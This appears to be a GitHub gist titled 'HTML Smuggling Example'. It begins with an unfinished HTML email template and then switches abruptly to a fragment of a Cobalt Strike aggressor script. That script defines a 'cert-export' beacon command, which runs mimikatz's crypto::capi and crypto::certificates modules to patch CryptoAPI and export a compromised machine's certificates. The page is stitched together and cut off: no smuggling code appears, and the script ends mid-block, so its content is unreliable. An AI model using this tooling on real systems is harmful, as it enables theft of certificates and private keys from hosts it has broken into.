Skip to content

Instantly share code, notes, and snippets.

@JamesCooteUK
JamesCooteUK / html-smuggling-example.html
Created November 11, 2021 08:35
HTML Smuggling Example
<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Simple Transactional Email</title>
<style>
/* -------------------------------------
GLOBAL RESETS
------------------------------------- */
#author jamescoote
#register help
beacon_command_register("cert-export", "patch capi and export local_machine certs",
"Synopsis: cert-export \n\n" .
"Patch capi and export the local_machine certs.");
#setting the alias
alias cert-export {
bmimikatz($1, "crypto::capi\ncrypto::certificates /systemstore:local_machine /store:my /export");